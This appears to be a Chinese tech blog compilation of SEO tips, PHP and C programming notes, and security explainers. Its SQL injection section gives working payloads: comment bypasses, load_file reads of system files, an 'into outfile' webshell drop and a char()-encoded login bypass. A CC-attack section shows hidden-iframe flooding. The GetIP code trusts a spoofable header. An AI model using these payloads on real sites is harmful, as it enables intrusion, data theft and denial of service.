10.从快照日期看哪些内容已经老了。先限制抓取,然后再删除。
11.做之前把关键词和关键词组列出来。寻找关键字的方法:百度指数: http://index.baidu.com/百度相关搜索,百度竞价词语。GOOGLE:热榜: http://www.google.cn/rebang/home
12.每个页面的关键字在20个以内。页面展示30%之内。
13.每个页面都有多个长尾关键字。部署3-5个。最好页面围绕长尾关键字做。通过文章内容作长尾关键字。
14.首页标题的字数,只往上加,不减。
15.文章标题是页面标题的一部分,这样页面标题的关键字就放的多了。
16.把好内容的放在网页的前面和左侧。
17.h标签强调关键词内容。重要关键词h1只能出现一次,流量关键词h2,长尾关键词h3能多次出现。
18.keywords关键词写5,6个就可以了。最多10个词,字数25个以内。
19.《meta name=“description”描述:就是把关键词串起来的一段话。
20.每个图片的alt标签都要有,但不能一样。
21.文章的标签重要。而且也能对图片起提示作用。
22.单页面优化:每个页面的标题必须不同。关键字和描述也基本不一样。
23.页面链接在100以内,多了屏蔽掉。标题20以内,描述50以内。
24.站内有关键字的链接要做成导向相关内容的导出链接。
25.有分类时,最好用分类的拼音做这个分类的域名。
26.新内容要在前。容易被抓取。
27.域名要使用“/”结尾的域名,能增加这个域名的pr。比如www.mmx.cc/index.html 就不如www.mmx.cc 好。
28.文章标题带有关键词。作用很大。
29.文章字数多时要分页,第段100-150个字,一定带关键词,要带上锚文本链接。文章结尾要写上作者,版权等。最后加上标签。
30.每段里的同样的关键词只链接一次,关键字的链接指向相关的地方,增加微通道。每段里面增加1.2个关键字链接。
31.现在文章内的链接权重大,比如软文就是很好的东西。
32.页面左侧放新发布的文章。
33.在白天发布文章,时间不定。但每天文章数的频率一样。
34.文章页面中有相关的链接。相关文章或者栏目的链接。
35.起一个奇怪的名字,在百度百科创建词条,能有很大的收获。
36.多域名指向一个网站要用301转到一个站,不带www的301转到带www的。
37.把栏目里的“更多”改成“查看更多图片”等带关键字的词语。而且是把链接加在“图片”等关键字上面。
38.品牌词前面加上一个修饰的属性词语。用这个属性词作为锚文本链接。
39.避免使用大量完全相同的锚文本,要使用同义词。不要把大量的锚文字指向同一个页面,指向权重集中的页面。
40.新站的链接不要多。30.40个。找高质量的外链。
41.外部链接最好链接首页,找不到首页就要和本站内容一样的相关页面的链接
42.外链的方法。锚文本改成做关键字,而不是网站公司的名称。
43.看竞争对手的链接。目标网站的反链。好博客的链接。赞助活动得链接。去他的博客看博客链接。网站后面带一个博客。在维基百科等发链接。
44.链接诱饵。能引起讨论的话题,天涯论坛等。低俗内容等。网络书签???
45.用雅虎查反相链接。用google管理员工具查反链。
46.如何搜索引擎不收录,可以用空的robots.txt 来尝试。

PHP远程获取IP代码

<?
function GetIP() { //获取IP
if ($_SERVER["HTTP_X_FORWARDED_FOR"])
$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if ($_SERVER["HTTP_CLIENT_IP"])
$ip = $_SERVER["HTTP_CLIENT_IP"];
else if ($_SERVER["REMOTE_ADDR"])
$ip = $_SERVER["REMOTE_ADDR"];
else if (getenv(“HTTP_X_FORWARDED_FOR”))
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“HTTP_CLIENT_IP”))
$ip = getenv(“HTTP_CLIENT_IP”);
else if (getenv(“REMOTE_ADDR”)) //OSPHP.COM.Cn开源
$ip = getenv(“REMOTE_ADDR”);
else
$ip = “Unknown”;
return $ip;
}

<? function GetIP() { //获取IP     if ($_SERVER["HTTP_X_FORWARDED_FOR"])         $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];     else if ($_SERVER["HTTP_CLIENT_IP"])         $ip = $_SERVER["HTTP_CLIENT_IP"];     else if ($_SERVER["REMOTE_ADDR"])         $ip = $_SERVER["REMOTE_ADDR"];     else if (getenv(“HTTP_X_FORWARDED_FOR”))         $ip = getenv(“HTTP_X_FORWARDED_FOR”);     else if (getenv(“HTTP_CLIENT_IP”))         $ip = getenv(“HTTP_CLIENT_IP”);     else if (getenv(“REMOTE_ADDR”)) //OSPHP.COM.Cn开源         $ip = getenv(“REMOTE_ADDR”);     else         $ip = “Unknown”;     return $ip; }

关于PHP你可能不知道的10件事

1.使用ip2long() 和long2ip()函数来把IP地址转化成整型存储到数据库里。

这种方法把存储空间降到了接近四分之一(char(15)的15个字节对整形的4个字节),计算一个特定的地址是不是在一个区段内页更简单了,而且加快了搜索和排序的速度(虽然有时仅仅是快了一点)。

2.在验证Email地址的时候使用checkdnsrr() 函数验证域名是否存在。

这个内置函数能够确认指定的域名能够解析成IP地址。该函数的PHP 文档的用户评论部分有一个简单的用户自定义函数,这个函数基于checkdnsrr(),用来验证 email 地址的合法性。对于那些认为自己的Email地址是memory@wwwphp100.net而不是memory@php100.net的家伙们,这个方法可以很方便的抓住他们。

3.如果你使用的是PHP 5和MySQL 4.1 或者更高的版本,考虑用mysqli_* 系列函数。

一个很好的功能就是你可以使用预处理语句,如果你在维护一个数据库密集型站点,这个功能能够加快查询速度。一些评估分数。

4.学会爱上三元运算符。

5.如果你在项目中感觉到有可复用的部分,在你写下一行代码前先看看PEAR中是否已经有了。

很多PHP程序员都知道 PEAR 是一个很好的资源库,虽然还有很多程序员不知道。这个在线资源库包含了超过400个可以复用的程序片段,这些程序片段你可以立即用刀你的程序里。除非说你的项目真的是非常特别的,你总能找到帮你节省时间的 PEAR包。

6.用 highlight_file()来自动的打印出格式化的很漂亮的源代码。

如果你在留言板、IRC 这些地方寻求一个脚本的帮助的话,这个函数用起来非常的顺手。当然了,要小心不要意外的泄露出你的数据库连接信息和密码等。

7.使用 error_reporting(0)函数来防止用户看到潜在的敏感错误信息。

在理想情况下,发布服务器应该在php.ini 里完全禁止。但是如果你用的是一个共享的 web 服务器的话,你没有自己的 php.ini 文件,那么这种情况下你最好的选择就是在所有脚本的第一行前加上 error_reporting(0);(或者使用 require_once() 方法)。这就能够在出错的时候完全屏蔽敏感的SQL查询语句和路径名。

8.在网数据库中存储很大的字符串之前使用 gzcompress() 和 gzuncompress() 来显式的压缩/解压字符串。

这个PHP内置函数使用 gzip 算法,可以压缩普通文本达 90%。在我每次要读写BLOB类型的字段的时候都使用这些函数。唯一额例外就是当我需要全文检索的时候。

9.通过“引用”传递参数的方法从一个函数中得到多个返回值。

就像三元运算符一样,大部分受过正式编程训练的程序员都知道这个技巧。但是那些 HTML 背景大于 Pascal 背景的程序员都或多或少的有过这样的疑问“在仅能使用一次 return 的情况下,从一个函数里返回多个值?”答案就是在变量前加上一个 “&” 符号,通过“引用”传递而非“值”传递。

10.完全理解“魔术引号”和 SQL 注入的危险性。

我希望阅读到这里的开发者都已经很对SQL注入很了解了。不过我还是把这条列在这里,是因为这个确实有点难以理解。

网卡工作的几种模式

对理解网络嗅探 原理有非常大的帮助
以太网(Ethernet)具有共享介质的特征,信息是以明文的形式在网络上传输,当网络适配器设置为监听模式(混杂模式,Promiscuous)时,由于采用以太网广播信道争用的方式,使得监听系统与正常通信的网络能够并联连接,并可以捕获任何一个在同一冲突域上传输的数据包。IEEE802.3 标准的以太网采用的是持续 CSMA 的方式,正是由于以太网采用这种广播信道争用的方式,使得各个站点可以获得其他站点发送的数据。运用这一原理使信息捕获系统能够拦截的我们所要的信息,这是捕获数据包的物理基础。
以太网是一种总线型的网络,从逻辑上来看是由一条总线和多个连接在总线上的站点所组成各个站点采用上面提到的 CSMA/CD 协议进行信道的争用和共享。每个站点(这里特指计算机通过的接口卡)网卡来实现这种功能。网卡主要的工作是完成对于总线当前状态的探测,确定是否进行数据的传送,判断每个物理数据帧目的地是否为本站地址,如果不匹配,则说明不是发送到本站的而将它丢弃。如果是的话,接收该数据帧,进行物理数据帧的 CRC 校验,然后将数据帧提交给LLC 子层。
网卡具有如下的几种工作模式:
1) 广播模式(Broad Cast Model):它的物理地址(MAC)地址是 0Xffffff 的帧为广播帧,工作在广播模式的网卡接收广播帧。
2)多播传送(MultiCast Model):多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果将网卡设置为多播传送模式,它可以接收所有的多播传送帧,而不论它是不是组内成员。
3)直接模式(Direct Model):工作在直接模式下的网卡只接收目地址是自己 Mac地址的帧。
4)混杂模式(Promiscuous Model):工作在混杂模式下的网卡接收所有的流过网卡的帧,信包捕获程序就是在这种模式下运行的。
网卡的缺省工作模式包含广播模式和直接模式,即它只接收广播帧和发给自己的帧。如果采用混杂模式,一个站点的网卡将接受同一网络内所有站点所发送的数据包这样就可以到达对于网络信息监视捕获的目的

CC攻击的原理

首先攻击者拥有一个流量巨大的网站,这个网站的流量,很可能是他花钱买回来的,当然也可能是他控制的肉鸡,在控制的肉鸡上面访问他的网站。黑客的网站首页非常简单,但是在他的源代码中,却隐藏了达到上百个<iframe>标签。<iframe>里面,放的就是他要攻击的网站的地址。

举一个例子来说明一下攻击者的威力,假设黑客的网站是aaa.com,你的网站是BBB.com。如果有人在163的首页代码中,有这么一段:<iframe src=”http://aaa.com” border=”0″ width=”0″ height=”0″></iframe>,那么在所有人访问163的主页时,也会不知不觉的访问http://aaa.com。然后http://aaa.com的首页中可能有100个如下的代码:<iframe src=http://BBB.com border=”0″ width=”0″ height=”0″></iframe>,当然他还可能放上bbb.com这个网站十个甚至更多不同的地址。那就表明:凡是有一个人访问了163,就可能会访问BBB.com十次。以每秒300个请求来说,一天就是25920000个请求,再加上页面上的图片和其它文件等,估计就是上亿个请求了。1天上亿个请求,普通的网站受得了吗?有很多被攻击的网站用的是虚拟主机,每秒不到100个连接可能就无法提供服务了。即使是那种单独几台服务器的网站,也根本就无法承受!即使WEB Server可以承受,那带宽呢?即使带宽可以承受,那么Db Server呢?

这种就是是典型的CC攻击。CC攻击比DDOS攻击更可怕的就是,CC攻击一般是硬防很难防止住的。为什么呢?一、因为CC攻击来的IP都是真实的,分散的;二、CC攻击的数据包都是正常的数据包;三、CC攻击的请求,全都是有效的请求,无法拒绝的请求。

用<iframe>嵌入的网页,自然都会有HTTP_REFERER值,而有了这个值,从这个值上面屏蔽或是转发掉来源的网站即可。也就是,你可以访问我,但是我不将真实的页面返回给你,我可以把你随意打发掉,或是将你随意转到另外一个网站上去。例如那些买流量的网站!

简述Php脚本注入技术

Php的环境一般是apache+php+mysql,平常配置服务器一般是打开php.ini里的安全模式,将safe_mode设为on,还有就是将display_erors设为off,即关闭错误显示。还有一个非常重要的配置选项—–magic_quotes_gpc,高版本默认为on,以前的版本中默认为off。当magic_quotes_gpc为on的时候我们怎么防范php的字符变量注入呢?其实只需将提交的变量中的所有单引号、双引号、反斜线和空字告符自动转换为含有反斜线的转义字符。如把“’”变成“\”,把“\”变成“\\”,就ok了。下面我们分为对magic_quotes_gpc=off和magic_quotes_gpc=on的注入清况分析一下。   我们先看一段有漏洞的php代码,这段代码是用来搜索的。 从上面代码中我们可以看出,是一个搜索表单,通过post提交数据,并进行select查询,当然要分析这些漏洞我们得先掌握php语言和mysql语法。如果我们从表单中提交% ’ order by id #(#号在mysql中表示注释,不执行后面的sql语句),或者用’ order by id #,带入的sql语句就成了sele ct * from u ser wher e user name like ‘% %’ orde r by id # orde r by usern ame 和 selec t * from users w here username lik e ‘%%’ order by id# order by use rnam e。这样数据库的内容会全部返回,列出所有用户名,还有密码等。当然还有update 语句注入攻击、insert语句注入攻击等,最常用的是union语法注入,采用into outfile语句导出php脚本木马。 首先要清楚一些mysql语句,如mysql>select load_file(‘c:/boot.ini’)我们可以查看c盘下的boot.ini文件内容,在有注入点的网址后面加入该查询语句就可以显示出黑客们想获得的敏感信息,如查看数据库的连接文件获得数据库帐号,查看ect/password信息等。Select * from table into outfile “C:\\Inetpub\\ wwwroot\\shell.php”;也就是从表中导出字符串到C:\Inetpub\wwwroot\shell.php中,通常黑客们在得到mysql帐号的情况下,利用create table rose(cmd text);建立一个rose表,字段cmd为text类型,然后用use rose;打开rose表,insert into rose values(” “)加入一句话马到字段里。然后selec t * from rose in to outfile “C:\\Inetpu b\\www ro ot\\shell. php “;将一句话木马导出为一个shell.php文件,当然这个shell.php中就包含,懂php的都知道这句会造成什么后果,配合提交参数,是可以执行cmd命令和上传 php木马的。 当magic_quotes_gpc=on时,提交变量中的所有单引号、双引号、反斜线和空字符会自动转换为含有反斜线的转义字符,字符型的注入可以防范,但数字型没有用到单引号,字符型注入也可以通过char()将参数解释为整数,并返回由这些整数的ASCII码字符组成的一个字符串,也可以用16进制来代替字符。例如:在浏览器里输入http://localhost/www/admin/login.php?username=char(114,111,115,101)%23上面假设的我们知道的用户名是rose,转换成ASCII后是char(114,111,115,101),%23是#号表注释。那么sql语句变成:select * from example where username=char(114,111,115,101)# and password=’’,后面的and password=’’被注释掉了,我们顺利进入后台。

2010年最新PHP类的精缩归纳

适合新手的
一:结构和调用(实例化):
class className{} ,调用:$obj = new className();当类有构造函数时,还应传入参数。如$obj = new className($v,$v2…);
二:构造函数和析构函数:
1、构造函数用于初始化:使用__construct(),可带参数。
2、但析构函数不能带参数(用于在销去一个类之前执行一些操作或功能)。析构函数用__destruct()做名称。在脚本执行结束时,PHP会销掉内存中的对象,因此可不用析造函数,但有些比如COOKIE等,就应当要用此函数销掉。
知识点:在PHP4中也提供了构造函数,但使用的是与类同名的类方法,在PHP5仍能兼容这种做法,当一个类中没有包含__construct时,会查找与类同名的方法,如果找到,就认为是构造函数,如下:
class test
{ var $b;
function test() { $this->b=5; }
function addab($c) { return $this->b+$c; }
}
$a = new test(); echo $a->addab(4); // 返回 9
3、PHP不会自动调用父类的构造函数(不支持构造函数重载),必须使用parent关键字显式地调用。
class employee{
function __construct()….
}
class Manager extents Employee{
function __construct(){
parent::_construct();
echo ‘这个子类的父类构造函数调用了!’;
}
}
当然也可以调用与该实例没有任何关系的其它类的构造函数。只需在__construct()前加上类名即可。如:
otherClassName::__construct();
类的主家庭成员:属性、方法、常量、静态成员
三、类的属性:
有两种方法对类的属性赋值或取值。
1、使用公共作用域public关键词。
2、使用__set()和__get()来分别赋值和取值,前者称为设置方法(setter)或修改方法(mutator),后者称为访问方法(accessor)或获取方法(getter)。建议使用这种方法:优点:
A、可在__set()统一进行数据验证。
B、便于统一管理属性。
注意:
第一:__set()和__get()只对私有属性起作用,对于用public定义的属性,它们两个都懒理搭理,如下:
class test{
protected $a=9,$b=2,$c;
public $d;
function __set($n,$v) { $this->$n = $v+2; }
function __get($name) { return $this->$name+2; }
}
$a = new test();
$a->b =5; echo “
“; echo $a->b;
实例只对$a,$b,$c的设置会经过__set和__get过滤与返回,对于$d,就不会起作用。如$a->d=5,再返回还是5。
第二:__set($n,$v)要带两个参数。而__get($n)只能有一个参数。实例:
class test{
private $a=5,$b=6,$c;
function __set($n,$v)
{
if($n==’a'&&$n>0)
$this->$n = $v;
else
$this->$n = $v+2;
}
function __get($name)
{
return $this->$name; //如果改为return $this->$name + $this->addab(); 如调用a的值,实际返回的是a+a+b的值。默认为5+5+6=16。
}
function addab()
{ return $this->a + $this->b; }
}
$e=new test();
$e->a = 11; //注意写法:类的内部用$this->$n即变量的写法,但外部实例要用$e->a的方式。
$e->b = 12; //get 14
$e->k = 22;
类的属性可自由扩展,如上例的k,不管是否用__set,当一个实例建立起来后,可以用$e->newProperty = xx;直接来创造一个属性,但不建议这么做。
四、类的方法:
理解成类当中的函数即可。
调用:
1、内部调用:可使用$this->Fanname();或$this->addab()或test::addab();
2、实例化调用时,用$e->addab();即可。对于在该方法中没有使用$this关键字的,如上例中的:
function addab() { return $this->a+$this->b; }
改为: function addab() { return 25; }那在在外部实例调用该方法,也可用“$e::addab();”或“test::addab();”
五、类的常量:
如果类的属性理解成类中的变量,那么类的常量和变量是不一样的,其定义方法为:
class test{
private $a;
const PI = ‘3.14′;
…..
//在类中调用上面的常量用两种方法,“$this::PI”,或 “类名::PI”,这里就是test::PI,如下:
function getvalue(){
return $this->a * $this::PI; //或$this->a * test::PI,用this关键字或类名均可,但都要用双冒号。
}
}
$e= new test();
$e->PI =5; //注意,这里用 ->只是创造了一个也是名为PI的属性,而不是改变类中的PI常量的值。
echo $e::PI; //这个才是调用类的常量。
常量只能用双冒号::来调用。并且不能更改其值。
在类外部实例化后调用类常量同样也有两种方法。方法为:
“$e::PI” 或 “test::PI”,共同点是都要用冒号,不同点是外部不能用this关键字,只能用实例名,但类名::PI是通用的。
六、类的静态成员(静态属性或静态方法):
如果需要创建供所有类的实例共享的字段或方法。就得用静态成员。有两个特征:
1、静态成员是共产主义者,它让脚本上的所有该类的实例调用,但不能借助类的特定实例名调用,而是在类的外部,统一使用“类名::$成员名”的方式调用。而类的内部则统一使用 “self::$成员名”来调用。
2、当每一次新创建实例时,静态成员会从上次创建的实例最后值开始重新计算,而不是类中初始的值开始计算。
3、对于用public定义的静态成员,可以在外部更改它的值。private等则不行。
class test{
public static $v = 0;
function __construct(){ self::$v++; }
static function getV(){ return self::$v; }
}
$a = new test();
echo test::getV(); // 返回 1
$b = new test();
echo test::getV(); // 返回 2
test::$v=8; //由于public定义的成员,改变静态成员的值。
$c = new test();
echo test::getV(); // 返回 9

2010年最新PHP类的精缩归纳

适合新手的
一:结构和调用(实例化):
class className{} ,调用:$obj = new className();当类有构造函数时,还应传入参数。如$obj = new className($v,$v2…);
二:构造函数和析构函数:1、构造函数用于初始化:使用__construct(),可带参数。2、但析构函数不能带参数(用于在销去一个类之前执行一些操作或功能)。析构函数用__destruct()做名称。在脚本执行结束时,PHP会销掉内存中的对象,因此可不用析造函数,但有些比如COOKIE等,就应当要用此函数销掉。知识点:在PHP4中也提供了构造函数,但使用的是与类同名的类方法,在PHP5仍能兼容这种做法,当一个类中没有包含__construct时,会查找与类同名的方法,如果找到,就认为是构造函数,如下:class test{ var $b;function test() { $this->b=5; }function addab($c) { return $this->b+$c; }}$a = new test(); echo $a->addab(4); // 返回 93、PHP不会自动调用父类的构造函数(不支持构造函数重载),必须使用parent关键字显式地调用。class employee{function __construct()….}class Manager extents Employee{function __construct(){parent::_construct();echo ‘这个子类的父类构造函数调用了!’;}}当然也可以调用与该实例没有任何关系的其它类的构造函数。只需在__construct()前加上类名即可。如:otherClassName::__construct();
类的主家庭成员:属性、方法、常量、静态成员
三、类的属性:有两种方法对类的属性赋值或取值。1、使用公共作用域public关键词。2、使用__set()和__get()来分别赋值和取值,前者称为设置方法(setter)或修改方法(mutator),后者称为访问方法(accessor)或获取方法(getter)。建议使用这种方法:优点:A、可在__set()统一进行数据验证。B、便于统一管理属性。注意:第一:__set()和__get()只对私有属性起作用,对于用public定义的属性,它们两个都懒理搭理,如下:class test{protected $a=9,$b=2,$c;public $d;function __set($n,$v) { $this->$n = $v+2; }function __get($name) { return $this->$name+2; }}$a = new test();$a->b =5; echo “”; echo $a->b;实例只对$a,$b,$c的设置会经过__set和__get过滤与返回,对于$d,就不会起作用。如$a->d=5,再返回还是5。第二:__set($n,$v)要带两个参数。而__get($n)只能有一个参数。实例:class test{private $a=5,$b=6,$c;function __set($n,$v){if($n==’a'&&$n>0)$this->$n = $v;else$this->$n = $v+2;}function __get($name){return $this->$name; //如果改为return $this->$name + $this->addab(); 如调用a的值,实际返回的是a+a+b的值。默认为5+5+6=16。}function addab(){ return $this->a + $this->b; }}$e=new test();$e->a = 11; //注意写法:类的内部用$this->$n即变量的写法,但外部实例要用$e->a的方式。$e->b = 12; //get 14$e->k = 22;
类的属性可自由扩展,如上例的k,不管是否用__set,当一个实例建立起来后,可以用$e->newProperty = xx;直接来创造一个属性,但不建议这么做。
四、类的方法:理解成类当中的函数即可。调用:1、内部调用:可使用$this->Fanname();或$this->addab()或test::addab();2、实例化调用时,用$e->addab();即可。对于在该方法中没有使用$this关键字的,如上例中的:function addab() { return $this->a+$this->b; }改为: function addab() { return 25; }那在在外部实例调用该方法,也可用“$e::addab();”或“test::addab();”
五、类的常量:如果类的属性理解成类中的变量,那么类的常量和变量是不一样的,其定义方法为:class test{private $a;const PI = ‘3.14′;…..//在类中调用上面的常量用两种方法,“$this::PI”,或 “类名::PI”,这里就是test::PI,如下:function getvalue(){return $this->a * $this::PI; //或$this->a * test::PI,用this关键字或类名均可,但都要用双冒号。}}$e= new test();$e->PI =5; //注意,这里用 ->只是创造了一个也是名为PI的属性,而不是改变类中的PI常量的值。echo $e::PI; //这个才是调用类的常量。常量只能用双冒号::来调用。并且不能更改其值。在类外部实例化后调用类常量同样也有两种方法。方法为:“$e::PI” 或 “test::PI”,共同点是都要用冒号,不同点是外部不能用this关键字,只能用实例名,但类名::PI是通用的。
六、类的静态成员(静态属性或静态方法):如果需要创建供所有类的实例共享的字段或方法。就得用静态成员。有两个特征:1、静态成员是共产主义者,它让脚本上的所有该类的实例调用,但不能借助类的特定实例名调用,而是在类的外部,统一使用“类名::$成员名”的方式调用。而类的内部则统一使用 “self::$成员名”来调用。2、当每一次新创建实例时,静态成员会从上次创建的实例最后值开始重新计算,而不是类中初始的值开始计算。3、对于用public定义的静态成员,可以在外部更改它的值。private等则不行。class test{public static $v = 0;function __construct(){ self::$v++; }static function getV(){ return self::$v; }}$a = new test();echo test::getV(); // 返回 1$b = new test();echo test::getV(); // 返回 2test::$v=8; //由于public定义的成员,改变静态成员的值。$c = new test();echo test::getV(); // 返回 9

PHP初学者进阶学习的一些意见

很多初学者会有一种感觉做网站无非就是数据库的查询,添加,编辑,删除。而很多时候当你参与了更多的应用就不会这么认为了,所以从下面几方面让初学者了解做网站不只是那么简单,让初学者找到进一步学习的方向。
1.程序方面

编码规范:

你的程序是不是规范,要想成为一个好的程序员,编码规范就象是一座大厦的一块基石一样重要。规范的编码使你的代码简洁清淅,易读易懂。能做到规范的编码也说明你有严谨的思维,严谨的思维也是写好程序的重要前提。

代码封装:

你在开发中是不是一直在重复重复,如果觉得是自己是这样那么你就要学习代码封装了,举一个例子,比如你的应用中有好几处上传,你总是一次一次的这样写:判断上传错误->判断类型是否允许->判断文件是否存在->移动文件…。那么要怎么去解决这个问题,你可以把(判断上传错误->判断类型是否允许->判断文件是否存在->移动文件…)这个过程写成一个上传类。代码封装可以封装成函数和类,这时你就应该去学习OOP的知识了。

目前热门的话题开发框架我们也可以理解成为是一个大型的封装工作。开发框架无非就是把开发中常用的功能封装起来,并使用一定的开发思想来整合在一起,使用开发变得更快捷,更高效。如果说初学者是不是应该马上就学习框架,我认为最好在学习了更丰富的基础知识后再去学习框架这样更好,直接学框架就点类似直接从小学跳级到了高中一样。
<!–[if !supportLineBreakNewLine]–>
<!–[endif]–>

缓存:

学会合理在程序中使用缓存,如:生成静态页,缓存字典、分类等数据.有关缓存的文章也挺多的,这里就不细说了。

阅读手册,代码

PHP手册是最核心的PHP书籍了可以没事就看看,首先你要了角里面有哪一类的函数库,大致有什么功能的函数,要做到掌握所有函数是不可能的,所以只要大致了解后在需要使用到的时候再去详细查看就行了。

研究开源代码,如Discuz,Wordpress等比较成熟的开源项目,他们的代码都是很优秀的,其实看开源代码,并不一定要全看,有一种思路是这样的,也看它的函数的类库,有哪些功能,再从公共文件看起。这样先了解个个架构思路。再去看一些比较有特点的功能的详细代码,这样看了一套代码后一定能有很大的进步。

了解相关知识

协议:例如HTTP协议,web应用是离不开HTTP协议的了解了它对应用的开发有一定的作用,还有SMTP,IMAP,POP等邮件协议。Web Service也是热门的话题,目前的开放平台也与它有关,可以去了解SOAP,XML-RPC等知识。

学习其它语言

周边语言,如Javascript,目前大部份的php开发人员一般不大可能专门写服务器端程序,像模版, Javascript脚本之类的都需要负责,所以学习Javascript是必要的,目前的很多Javascript框架可以学习如JQuery等。

学习Perl,Python这些与PHP类似的语言,但是他们有不同的特点,可以使用在不同的应用上,使你的应用更加强大。

再深入的可以去学习开发PHP的扩展,这里可以需要对C程序有一定水平。如果掌握了PHP扩展的开发,那么你就可以任意玩转PHP啦。当然能达到这个水平也就是极品高手了,有兴趣的phper朝着这个方向努力吧。

2.数据库方面

存储过程

如果在以前的PHP开发中可能更多的PHPer不知道存储过程,因为在简单的MySql里是没有存储过程这个概念的,现在新版的MySql也增加了这个过程,应该有更多的PHPer了解了存储过程了。存储过程可以理解为数据库里的一种程序语言,存储过程好处在于如果同样的逻辑可以放在存储过程里实现那么效率会高于在PHP代码里实现,存储过程还有提高数据的安全性等优点。所以学习存储过程也是提高自己技术能力的一种方式。

熟悉数据库的一些优化方式

程序最大的负载在于数据库的负载,所以优化数据库可以好的提高应用的负载能力。熟悉数据库的一些优化方式也是作为一个程序员需要的。如结构上:分表,冗余字段,主从数据库。SQL语句的优化也是需要深入研究的,不同的SQL语句写法效率上也是不同的。

3.其它方面

了解LAMP服务器的基本配置和一些安全相关的参数。虽然说服务器是网络管理员的事但作为程序员也应该掌握PHP运行环境基本的使用和问题处理,可以与网络管理员有更有效的勾通前提。还可以去了解Zend Optimizer、 eAccelerator等加速引擎的使用。

C语言18个经典问题答录

1.这样的初始化有什么问题?char *p = malloc(10); 编译器提示“非法初始式” 云云。
答:这个声明是静态或非局部变量吗?函数调用只能出现在自动变量(即局部非静态变量) 的初始式中。
因为静态变量的地址必须在编译的过程中就确定下来而malloc()申请的内存地址是在运行时确定的。
2. *p++ 自增p 还是p 所指向的变量?
答:后缀++ 和– 操作符本质上比前缀一目操作的优先级高, 因此*p++ 和*(p++) 等价, 它自增p 并返回p 自增之前所指向的值。
要自增p 指向的值, 使用(*p)++, 如果副作用的顺序无关紧要也可以使用++*p。
3 我有一个char * 型指针正巧指向一些int 型变量, 我想跳过它们。为什么如下的代码((int *)p)++; 不行?
答:在C 语言中, 类型转换意味着“把这些二进制位看作另一种类型, 并作相应的对待”; 这是一个转换操作符,
根据定义它只能生成一个右值(rvalue)。而右值既不能赋值, 也不能用++ 自增。(如果编译器支持这样的扩展,
那要么是一个错误, 要么是有意作出的非标准扩展。) 要达到你的目的可以用:p = (char *)((int *)p + 1);
或者,因为p 是char * 型, 直接用p += sizeof(int);
4.空指针和未初始化的指针是一回事吗?
答:空指针在概念上不同于未初始化的指针:空指针可以确保不指向任何对象或函数;
而未初始化指针则可能指向任何地方。
5.我可以用0来表示空指针吗?
答:根据语言定义, 在指针上下文中的常数0 会在编译时转换为空指针。也就是说, 在初始化、赋值或比较的时候,
如果一边是指针类型的值或表达式, 编译器可以确定另一边的常数0 为空指针并生成正确的空指针值。因此下边的代码段完全合法:
char *p = 0;
if(p != 0)
然而, 传入函数的参数不一定被当作指针环境, 因而编译器可能不能识别未加修饰的0 “表示” 指针。
在函数调用的上下文中生成空指针需要明确的类型转换,强制把0 看作指针。
例如, Unix 系统调用execl 接受变长的以空指针结束的字符指针参数。它应该如下正确调用:
execl(“/bin/sh”, “sh”, “-c”, “date”, (char *)0);
如果省略最后一个参数的(char *) 转换, 则编译器无从知道这是一个空指针,从而当作一个0 传入。(注意很多Unix 手册在这个例子上都弄错了。)
摘要:
==========================|=============================
|| 可以使用未加修饰的0 | 需要显示的类型转换 ||
||————————|—————————||
|| *初始化 | *函数调用, 作用域内无原型 ||
|| *赋值 | *变参函数调用中的可变参数 ||
|| *比较 | ||
|| *固定参数的函数调用 | ||
|| 且在作用域内有原型 | ||
==========================|=============================
有两条简单规则你必须遵循:
1) 当你在源码中需要空指针常数时, 用“0” 或“NULL”。
2) 如果在函数调用中“0” 或“NULL” 用作参数, 把它转换成被调函数需要的指针类型
6. 既然数组引用会蜕化为指针, 如果arr 是数组, 那么arr 和&arr 又有什么区别呢?
答:区别在于类型:
在标准C 中, &arr 生成一个“T 型数组” 的指针, 指向整个数组。
在所有的C 编译器中, 对数组的简单引用(不包括& 操作符)生成一个T 的指针类型的指针, 指向数组的第一成员。
7. 我如何声明一个数组指针?
答:通常, 你不需要。当人们随便提到数组指针的时候, 他们通常想的是指向它的第一个元素的指针。
考虑使用指向数组某个元素的指针, 而不是数组的指针。类型T 的数组蜕变成类型T 的指针, 这很方便;
在结果的指针上使用下标或增量就可以访问数组中单独的成员。而真正的数组指针, 在使用下标或增量时, 会跳过整个数组,
通常只在操作数组的数组时有用—— 如果还有一点用的话。如果你真的需要声明指向整个数组的指针,
使用类似“int (*ap)[N];”这样的声明。其中N 是数组的大小。如果数组的大小未知, 原则上可以省略N, 但是这样生成的类型,
“指向大小未知的数组的指针”, 毫无用处。
8.当我向一个接受指针的指针的函数传入二维数组的时候, 编译器报错了,这是怎么回事?
答:数组蜕化为指针的规则不能递归应用。数组的数组(即C 语言中的二维数组) 蜕化为数组的指针, 而不是指针的指针。
数组指针常常令人困惑, 需要小心对待; 如果你向函数传递二位数组:
int array[NROWS][NCOLUMNS];
f(array);
那么函数的声明必须匹配:
void f(int a[][NCOLUMNS])
{ … }
或者
void f(int (*ap)[NCOLUMNS]) /* ap 是个数组指针*/
{ … }
在第一个声明中, 编译器进行了通常的从“数组的数组” 到“数组的指针” 的隐式转换; 第二种形式中的指针定义显而易见。
因为被调函数并不为数组分配地址,所以它并不需要知道总的大小, 所以行数NROWS 可以省略。但数组的宽度依然重要,
所以列维度NCOLUMNS (对于三维或多维数组, 相关的维度) 必须保留。
如果一个函数已经定义为接受指针的指针, 那么几乎可以肯定直接向它传入二维数组毫无意义。
9. 我的strcat() 不行.我试了char *s1 = “Hello, “; char *s2 = “world!”;
char *s3 = strcat(s1, s2); 但是我得到了奇怪的结果。
答:这里主要的问题是没有正确地为连接结果分配空间。C 没有提供自动管理的字符串类型。
C 编译器只为源码中明确提到的对象分配空间(对于字符串, 这包括字符数组和串常量)。
程序员必须为字符串连接这样的运行期操作的结果分配足够的空间,
常可以通过声明数组或调用malloc() 完成。strcat() 不进行任何分配; 第二个串原样不动地附加在第一个之后。
因此, 一种解决办法是把第一个串声明为数组:
char s1[20] = “Hello, “;
由于strcat() 返回第一个参数的值, 本例中为s1, s3 实际上是多余的; 在strcat() 调用之后, s1 包含结果。
提问中的strcat() 调用实际上有两个问题: s1 指向的字符串常数, 除了空间不足以放入连接的字符串之外,
甚至都不一定可写。
